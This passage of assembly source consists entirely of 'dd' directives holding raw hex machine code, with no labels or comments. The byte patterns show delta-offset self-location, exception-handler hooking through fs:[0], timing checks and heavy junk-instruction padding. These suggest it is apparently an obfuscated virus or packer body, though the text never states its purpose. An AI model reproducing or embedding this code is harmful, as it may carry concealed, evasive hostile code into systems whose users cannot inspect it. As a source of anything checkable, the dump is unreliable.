		dd 4244489h, 4244481h, 1Ch, 3FC35040h, 0EE8F3B4Ah, 35381C0Bh
		dd 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C4D614C3h, 0FF6DE194h, 16C454B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 418531E6h, 0FF061315h, 13120995h, 0F98B6606h
		dd 511BD83h, 0F020613h,	5584h, 18C0F00h, 0F9000000h, 0BD958960h
		dd 61061304h, 0F55858Bh, 0C60613h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F765DE6Bh
		dd 41A50910h, 890F8C0Eh, 6, 2A9D8D89h, 8F0F0613h, 6, 22B9BD8Bh
		dd 85C70613h, 6131E51h,	0
		dd 0D6741BBh, 0F271E919h, 23B3FFFFh, 0ACB7C18Bh, 1EA9858Dh
		dd 0F8600613h, 0C467B866h, 0ED852961h, 9006131Eh, 9E9h
		dd 5A8C8200h, 0C3AF073h, 66504A20h, 90DA1EBFh, 145BD09h
		dd 6A0613h, 0AE9h, 8D17A200h, 0D85A4BF5h, 6ACD2151h, 7C78100h
		dd 0B76BDFCDh, 66858DDEh, 60061771h, 6890Fh, 9D890000h
		dd 613251Dh, 301D9D89h,	83610613h, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 66500CC3h
		dd 898294BBh, 8B662404h, 6A006AFBh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0B9B7C357h
		dd 0FBD76A8Eh, 7CEA7C90h, 9CBF006Ah, 0FF705066h, 1307F195h
		dd 79BD8B06h, 8D061331h, 16A36A8Dh, 0D5B58906h,	0FF061316h
		dd 819D89D1h, 83061331h, 13173DBDh, 850F0106h, 0A0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 73C35141h, 6AD7B70Bh
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0C401A237h, 1D8F0F90h, 60000000h, 0A846BA66h
		dd 11E8h, 39A1A300h, 2A834A17h,	0EAF73F13h, 0FC2ECCE5h
		dd 615F455Bh, 52505050h, 638074BFh, 0F310F62h, 8Eh, 5F585A00h
		dd 9595FF90h, 6A06131Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0CAE8C356h,	4EDFE28Ch
		dd 0E5CE9h, 0E800h, 815D0000h, 177170EDh, 0FD98B06h, 858DFBBFh
		dd 6168F5Eh, 6E99589h, 0B70F0613h, 0DE8B50FBh, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5B6AC351h, 0B307CFBBh, 11E956h, 55B0000h
		dd 52DCEB8Dh, 6D5BE4A7h, 61A1BB25h, 643779A6h, 35FFh, 0BF0F0000h
		dd 258964DFh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 47C35545h
		dd 1C2337C4h, 71D38190h, 5027138Ah, 8A0F60h, 0F000000h
		dd 5B61FBBFh, 16D985FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 24F729C3h, 7B6EDDE1h
		dd 8B5301CBh, 132A25BDh, 6AFF6A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E3C6C351h
		dd 0B368F380h, 5DB5FF16h, 0F061300h, 186h, 95FFF800h, 61331ADh
		dd 0FFE9h, 0E19D8B00h, 0B006130Bh, 0E669B300h, 0A9B50970h
		dd 0E4061301h, 0CDBD0171h, 3C061301h, 0DD830F61h, 0E8000000h
		dd 0Dh,	0CAB6B60Ah, 0B7D8200Ah,	0EBF4A124h, 0BE960C5h
		dd 14000000h, 364F82D9h, 75317092h, 5F61CD16h, 3C8B60Fh
		dd 1300A19Dh, 6BA06h, 0BF660000h, 0C18B4F77h, 9559D8Bh
		dd 0E8C10613h, 0E2F76604h, 23C1BD8Bh, 0C82B0613h, 0C149DB81h
		dd 22B7130Fh, 9D8BD18Bh, 61308CDh, 68F0Fh, 9D090000h, 6131DB9h
		dd 6E9h, 0F8CF8100h, 8B07055Fh,	1329B185h, 0BF0F6006h
		dd 0EA8166D8h, 8361CA74h, 830F07C0h, 0
		dd 0C083FB8Bh, 8A0F00h,	3B000000h, 14830FD0h, 0F000000h
		dd 35E9DEB7h, 0F000000h, 684h, 55BD8B00h, 8B06131Eh, 1311118Dh
		dd 0E183F506h, 19840F01h, 0F5000000h, 1111A583h, 0BFE0613h
		dd 132349BDh, 0B1958906h, 0E9061329h, 0
		dd 37B58Dh, 13E90617h, 0F7000000h, 34BDABE3h, 0E7046A9Dh
		dd 384FC49Fh, 722BE86Eh, 6A805Fh, 2810Fh, 0DD8A0000h, 0DA995FFh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0C1E0AFC3h, 9185294Ch, 0B9061329h, 81Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C4C35545h
		dd 823B5FD3h, 839BDEE9h, 6AFCE1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0B45155C3h, 22B52220h
		dd 8961F960h, 133109BDh, 6AFC06h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 8FEA41C3h, 0FCCF2A27h
		dd 0B8EAh, 0B5890000h, 6132CD1h, 0BAh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0F73941B6h, 8880Fh, 8B560000h, 132C09BDh, 33AD5F06h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0BE0325C3h, 0C1D975C2h
		dd 0AE90Bh, 0DB060000h,	710FFBC4h, 7CA11C22h, 0DAD9D89h
		dd 81660613h, 0D5DCCE7h, 88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0A9C35141h,	52F60973h, 8BDFBF0Fh
		dd 131BBD95h, 0DE906h, 0B51D0000h, 11DF2BF3h, 0D052C7F5h
		dd 8BB86D94h, 1318DD8Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E80BC350h,	0Ah, 0C546EE50h
		dd 5151E804h, 84BFDDF8h, 5B412662h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 84C35343h, 0C199D8Bh, 0BD830613h
		dd 6131D1Dh, 3B840F00h,	66000000h, 15FAEF81h, 0B8D6B3h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0F54CC357h, 74583094h,	8D8D8D21h
		dd 0BB06134Fh, 784FCCB4h, 0BD83E1FFh, 6133055h,	4840F00h
		dd 0FC000005h, 3055BD83h, 0F010613h, 51184h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0D55FEDDAh, 81665D69h, 8393C5C3h, 133055BDh,	860F0306h
		dd 4A8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	79C35242h, 0A699529h, 89600613h, 1331018Dh, 0D98C6606h
		dd 1EB5BD09h, 0E1800613h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0B92CC42Eh
		dd 0A8FB0F25h, 0CF816636h, 0EE9719Eh, 16000000h, 80B471A9h
		dd 6BF0AAF9h, 0FCDCBD43h, 0FC90A61h, 15284h, 6DBD8B00h
		dd 8B06131Fh, 132BB985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 55CE827Eh, 0B7FEC781h
		dd 0C59D3377h, 66061320h, 8533D98Bh, 61305B9h, 1CF5BD89h
		dd 0E9500613h, 13h, 0B217D114h,	0D092D63Ah, 600A0A54h
		dd 0FAA4D1C3h, 895A0F9Eh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 4BA450C3h, 0D4A4FB0Bh
		dd 0FEBF0FF8h, 960193BFh, 6A006A53h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0EFD5C355h
		dd 20D8A3C5h, 810FA366h, 6, 2FADB589h, 66600613h, 0AE9CB8Bh
		dd 0D0000000h, 905D7291h, 0D2F0BBCEh, 18686141h, 533E2AA3h
		dd 52505250h, 585A310Fh, 6160310Fh, 815F585Ah, 0A0E72434h
		dd 85893E35h, 61331C5h,	0A3D95FFh, 6A0613h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 54A913C3h
		dd 85894A9Dh, 616C454h,	0AE99D09h, 87E90613h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0C86EC351h, 60F8523Fh, 2A899D01h,	8B610613h
		dd 16C44C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 9529CD5Eh, 6132021h, 5800Fh, 81660000h
		dd 0C77BF2D7h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 4733C637h, 63FC1642h
		dd 0B58BEEA8h, 616C450h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 81C35747h, 27F27AA9h,	0D494C997h, 0EE968h
		dd 146C0000h, 0A2F06B9Fh, 8649A834h, 7C8344C5h,	2A55858Bh
		dd 0CF810613h, 6323F460h, 0B70F0689h, 858BFCDFh, 6132BB9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 52C35545h
		dd 70C56A64h, 0C97A964Ah, 816660F1h, 8BB088D1h,	131059B5h
		dd 46896106h, 0F3816604h, 81660829h, 960966DFh,	5E8h, 9EF94C00h
		dd 2EB739CCh, 0F88B505Fh, 6810F96h, 89000000h, 130DC98Dh
		dd 4CB5FF06h, 6A0616C4h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 367AC353h, 7B59C117h
		dd 4E8h, 1F03FF00h, 8E900h, 2EB20000h, 8496AC0Ah, 8B50953Dh
		dd 0E8042444h, 0Fh, 6967E5E7h, 88AE33FFh, 0A0E556C4h, 0E8E8D37Fh
		dd 0Eh,	66644E70h, 3A0F7EBFh, 8A597E81h, 13E816ACh, 0FA000000h
		dd 5AF5F210h, 94885E62h, 0B3120845h, 5A9E9F21h,	5B5F9B3Dh
		dd 8B008B5Bh, 244489DAh, 1707BB04h, 6A586F85h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0BDB9C357h, 60FD288Ah, 89C3D181h, 0F86067ECh, 9E8h
		dd 0CBBF1900h, 46496875h, 615FAFBEh, 54858D61h,	6A0616C4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2443C352h, 199D8BADh, 8B061316h, 1314B1BDh
		dd 60575006h, 0C88AC88Bh, 4895F61h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F6EDB60h
		dd 95FFDBB7h, 6130A3Dh,	14E8h, 0C0AE5B00h, 0EBC5E79Ah
		dd 0DBABF1D4h, 7191A1CBh, 0F182738Ch, 9ABF6689h, 6A615FDCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 9208C356h, 2EE2B5E2h, 0EE988BAh, 0F000000h
		dd 17BF15DFh, 0AD17C280h, 2272F442h, 5585C79Fh,	3061330h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 1997C355h, 11D2CE8h, 610E3CADh
		dd 0C454BD83h, 0F000616h, 0B84h, 21E900h, 0BD8B0000h, 61312BDh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8161C351h, 0B06E07EBh, 51BD8953h,	31061330h
		dd 1317698Dh, 55BD8306h, 3061330h, 439850Fh, 8D290000h
		dd 6132B35h, 0C454BD83h, 0F000616h, 42684h, 0CF816600h
		dd 0B5FF9424h, 616C454h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h
		dd 0E3C35040h, 0DD35616Eh, 1D9B589h, 95FF0613h,	6130969h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D8C35141h
		dd 0F535A43Ah, 0C448B58Bh, 6A0616h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 35604CC3h
		dd 2A51D396h, 0C99D8B49h, 0C7061305h, 1000106h,	0A9BD8B00h
		dd 96061321h, 820F5153h, 0
		dd 96505F5Fh, 107BB66h,	0C454B5FFh, 6A0616h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B68718C3h
		dd 322995FFh, 85890613h, 61311E5h, 0C448B58Bh, 35BB0616h
		dd 8B0D4DD7h, 13063185h, 1810F06h, 0F5000000h, 0C48689h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 3F35FBC3h, 958B1539h, 6131BBDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 73C35040h, 0FF45A5D5h
		dd 5E9FFh, 0C0F0000h, 8397A667h, 6A04C2h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0A85A3BC3h
		dd 1D106B7Fh, 85CB819Dh, 895F6636h, 8B662050h, 0E3858DD9h
		dd 310616D8h, 1309DDBDh, 0B8868906h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0D552C355h, 71CAB74Eh, 14E997h, 554D0000h, 9E72580Eh
		dd 0C2AECD37h, 456E7F85h, 254467CAh, 0E95662ECh, 0Bh, 738EEEAh
		dd 904882A8h, 5F2581C3h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 4F6DF5C3h, 66BE944Bh
		dd 2E8BCF81h, 0B5FFDA8Bh, 616C454h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 9DC35646h, 43E2C83Bh, 2FB799EAh
		dd 75BD8B01h, 0FF061330h, 131E9595h, 0DF8B6606h, 50E8B396h
		dd 0FE8h, 8BDA0700h, 0B7743699h, 43E44F20h, 1DBBF144h
		dd 0B5FF965Bh, 616C454h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0BDC35040h, 3A4DA24Bh, 0BD0B11C7h, 613285Dh
		dd 8E9h, 7A226F00h, 47620DBDh, 4595FF5Bh, 8A061321h, 95BD83DEh
		dd 61314h, 55840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 190424h, 51410000h, 5BCE70C3h, 500E335Fh
		dd 4A28BF66h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 742BC356h, 0B9BD89EAh
		dd 5306130Ah, 25AD9529h, 0FF5B0613h, 16C454B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 95FFB730h, 61305ADh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0FCC35141h, 0A92AB12Ch, 995E555Dh, 0E3816683h
		dd 0B5FF5DC4h, 616C454h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 13C35242h, 188A0F7Eh,	0E9000000h, 13h
		dd 0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh, 0FF228DF2h
		dd 13120995h, 0F78B6006h, 61D7B70Fh, 511BD83h, 0F020613h
		dd 5284h, 8E800h, 0C3020000h, 363D97BBh, 0F5F7CB0h, 88Bh
		dd 85895300h, 6131469h,	55858B5Fh, 8B06130Fh, 0CAE381D9h
		dd 0C64B1E0Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0C5D667C3h, 0C448B614h, 0C78DDF80h
		dd 131E5185h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 906F9157h, 0B2FEDA40h
		dd 0E9F88B5Bh, 0FFFFF2BDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 62C35747h, 8B0EC780h,	52006AC1h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0EA599EBCh, 15B3C6B7h, 0A9858D2Bh, 0F06131Eh, 681h
		dd 75858900h, 90061310h, 0D73BBF66h, 12E85750h,	46000000h
		dd 6506B7AAh, 72B1646Fh, 7EFBF5BDh, 0CE23313h, 5BDF8B68h
		dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 57A119C3h, 0DE9006Ah, 0F5000000h,	0CF417438h
		dd 0DD09F82Dh, 132FB9C6h, 6ADE8Bh, 1E158529h, 0F3810613h
		dd 83C297h, 8186858Dh, 6A0617h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0FD33E4C3h, 31161465h
		dd 130B75B5h, 5C08306h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 4EC35545h, 3151BD0Bh,	50900613h, 14E9h
		dd 3C56CD00h, 0A3043669h, 0CB1988C9h, 19787F3Fh, 6E8FBB1Bh
		dd 8B669055h, 0F006ADFh, 188h, 6AF800h,	7352F381h, 95FF288Eh
		dd 61307F1h, 18880Fh, 13E90000h, 0FD000000h, 501B60F2h
		dd 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h, 8D8DF911h,	616A36Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 88C35141h
		dd 0E6D6D686h, 0E0E596FFh, 6AD1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 71BDD6C3h
		dd 0D98B6660h, 173DBD83h, 0F010613h, 4785h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0F5ED6889h, 0B3C5FFABh, 0BD2B98C2h, 6132C75h, 8956026Ah
		dd 131231B5h, 50905B06h, 21958990h, 0FF06130Dh,	131E9595h
		dd 0B5EB8006h, 0DE7E9h,	0E800h,	815D0000h, 178190EDh, 8166F906h
		dd 8DCD57C7h, 168F5E85h, 0FE906h, 960F0000h, 0DF4726F5h
		dd 0D107B5Dh, 3CDD0F97h, 0FE8B90DEh, 90FC8A50h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 49C35747h, 0B6B60AB8h
		dd 0DE8B0ACAh, 35FF64h,	60000000h, 79BFDA8Bh, 6156F109h
		dd 258964h, 66000000h, 8E9FB8Bh, 89000000h, 0CA067250h
		dd 0FFBD957Ah, 1316D985h, 68D0F06h, 89000000h, 130E5DB5h
		dd 6AFF6A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 5C57C352h, 0FF4D796Ch,	14E9h
		dd 93845C00h, 87D124E7h, 0BA942729h, 12EE6416h,	4B5C0429h
		dd 0B5FFF5C3h, 613302Dh, 0FE8BFA8Bh, 31AD95FFh,	0E6E90613h
		dd 8B000000h, 300B0D9h,	1311C99Dh, 8170E606h, 0ED7F3CBh
		dd 171E450h, 132B91BDh,	0F613C06h, 0C483h, 61B52900h, 0F061316h
		dd 0F52C8B6h, 0BA5FF9B7h, 6, 0AC91BFBBh, 66C18B00h, 0B016E381h
		dd 8904E8C1h, 1317758Dh, 0A5BD8B06h, 6606132Fh,	0BB66E2F7h
		dd 0C82B9B67h, 5E9D18Bh, 0D8000000h, 0D5383C77h, 54EF8153h
		dd 5F1D70EBh, 7E9h, 9D89F900h, 61313F5h, 0BD858Bh, 0BD8B0613h
		dd 61323FDh, 8907C083h,	132CFD8Dh, 0C08306h, 3B1EC380h
		dd 0A830FD0h, 0F000000h, 42E9FBBFh, 8B000000h, 398D8BF9h
		dd 0BF061306h, 59EBFF95h, 0F01E183h, 2C84h, 8E900h, 22380000h
		dd 61E1405Dh, 0A5831266h, 6130639h, 1DB589FEh, 66061332h
		dd 8981C7BBh, 1300BD95h, 35D78006h, 0E9h, 1EB58D00h, 8B06170Ah
		dd 131059BDh, 5F71BF06h, 6A44F5h, 13ADBD8Bh, 95FF0613h
		dd 6130DA9h, 1B4D8529h,	85890613h, 6131D9Dh, 81DB9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0DC943161h, 158F0FA5h, 0E8000000h, 9, 41789750h, 6522F0EBh
		dd 419D0BC3h, 5F06131Dh, 835BF850h, 6AFCE1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0D2E04AC3h
		dd 8E19A5D1h, 0E9F9B70Fh, 8, 948BA73Fh
		dd 0C029F67Eh, 9DBD89FCh, 0E906131Eh, 7, 9BEA95A9h, 2B6AA680h
		dd 0A18501C0h, 2B061329h, 57006AD2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8589F965h
		dd 61324B1h, 4507BB66h,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 1EE8160h, 0F7F588Dh,	8B61C7BFh, 1331A5BDh, 880D06h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 7E912C3h,	0C000000h, 69883918h, 958B00AAh
		dd 6131BBDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	4FC35545h, 94F02D77h, 0FF86C4Dh, 68Bh, 0BDB58900h
		dd 8B06132Eh, 1318DD8Dh, 0A4F78006h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BB665818h, 8D09B462h, 61310D5h
		dd 1D1DBD83h, 0F000613h, 6784h,	0B800h,	85310000h, 6132C7Dh
		dd 4F8D8D8Dh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0CDC98EC3h, 0E317D880h, 958951F9h
		dd 6131059h, 6AE1FF5Bh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0A5E4C357h,	31A16BFEh
		dd 21953157h, 5F061309h, 3055BD83h, 0F000613h, 43A84h
		dd 659D8B00h, 83061329h, 133055BDh, 840F0106h, 442h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DFC35747h, 18DF5CD8h
		dd 9ED49292h, 1A01B589h, 95890613h, 6130B41h, 0BD83DA8Ah
		dd 6133055h, 0CD860F03h, 0E8000003h, 0Ah, 128332ECh, 0D7E63EACh
		dd 8531A227h, 6130F09h,	8BFC605Fh, 0D98C66DFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 88C35141h, 5100AA69h
		dd 2890Fh, 61600000h, 11BD8B5Bh, 80061332h, 6A04E1h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 13DFDDC3h, 264B5182h, 0CDBD8B52h, 5B061308h,	8BFBBF0Fh
		dd 132549BDh, 0FC90A06h, 11584h, 9E800h, 473C0000h, 17A82285h
		dd 0BBC80DF3h, 58764862h, 0B9858B5Fh, 0B06132Bh, 13318D9Dh
		dd 0B9853306h, 0E9061305h, 0Ah,	51FFD74Eh, 635000BEh, 5190039Ch
		dd 8B0F505Bh, 0
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0E050A7CEh, 0DB815158h, 70476B88h, 6A006A5Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0A737C352h, 6F4E1DF3h, 959D8BF7h,	68061311h
		dd 6F09D36Fh, 90243481h, 6A6F16D0h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7C21C352h
		dd 71F94985h, 295C8364h, 1329C195h, 0F8CB8106h,	0FF6AB912h
		dd 130A3D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0AFC2A847h, 0A5F26093h, 9D8BB1BCh
		dd 6131E79h, 13D9BD09h,	85890613h, 616C454h, 0E5E93FB3h
		dd 0F000001h, 858BFABFh, 616C44Ch, 24859529h, 0C70613h
		dd 18h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 0FBC35747h, 0FBB70FD6h, 0B58B6FB7h, 616C450h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 76C35747h, 0F7E062Eh
		dd 858BDAB7h, 6132A55h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0DEC35646h, 0D27E58BAh, 0D374322Fh, 89DF8B66h
		dd 9BD0306h, 8B061324h,	132BB985h, 8955B306h, 6A0446h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 879B3FC3h, 0E91B2003h, 13h, 319D85D8h, 0EA613DF8h, 0A636EBAFh
		dd 55296570h, 509A8C42h, 0B0C59FBBh, 2434895Eh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9CC35141h, 0E1FC5C07h
		dd 813BF345h, 9168C2CBh, 4CB5FF7Bh, 6A0616C4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 89D8C351h, 13154995h, 17096806h, 8B668929h, 240481FBh
		dd 76F5ECF6h, 2565BD8Bh, 0EB810613h, 4616A71Eh,	0C454858Dh
		dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 19E4DDC3h, 0F381662Fh, 89505868h,	6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0C7859AC3h, 8AD66222h, 0E96099B3h, 11h, 9EAF57CCh, 0D9FD7FAAh
		dd 3F373079h, 91BF3F0Bh, 0F3F68187h, 612C49F5h,	0A3D95FFh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0D84F64C3h, 0FCE06D2Ch, 0DCC38061h, 305585C7h
		dd 30613h, 83FC0000h, 16C454BDh, 840F0006h, 30h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5BC35242h, 0EC1EF753h
		dd 24E9B9ADh, 0F000000h, 0BD8BD8B7h, 6130EB5h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 38Ch
		dd 0F9B70F00h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0BFC35343h, 9E871h, 38C10000h, 8B4E2160h, 0E983A18Dh
		dd 11h,	90560913h, 10E1CC1h, 7D0312B8h,	0DE4B29E3h, 9D295B45h
		dd 6131291h, 0BB5B589h,	0BD830613h, 6133055h, 0E1850F03h
		dd 0E9000004h, 6, 0A94955C6h, 0BD8374F2h, 616C454h, 0C9840F00h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 5BF5C356h, 0EE9877Ch, 0BB000000h
		dd 0C7D6A9F5h, 86CD1F7Dh, 39321281h, 54B5FF42h,	8B0616C4h
		dd 132C519Dh, 6995FF06h, 0F061309h, 0BE8FABFh, 0BC000000h
		dd 0FB0D2C78h, 41CB3B16h, 95893874h, 61315D5h, 48B58B5Bh
		dd 6A0616C4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0EEE7C357h, 14A14473h,	0E76C0272h
		dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 88AB50C3h, 0FE8h, 0AF5AA000h, 8C9D4E5Bh
		dd 0C887FA5Fh, 0DE41550Eh, 8E8h, 431CA400h, 91199EFCh
		dd 965B5B99h, 8F734BBFh, 5060502Eh, 0F525052h, 0F585A31h
		dd 0D68B6631h, 9661585Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0E7C35545h, 697D81ABh, 650D3E75h, 0C454B5FFh
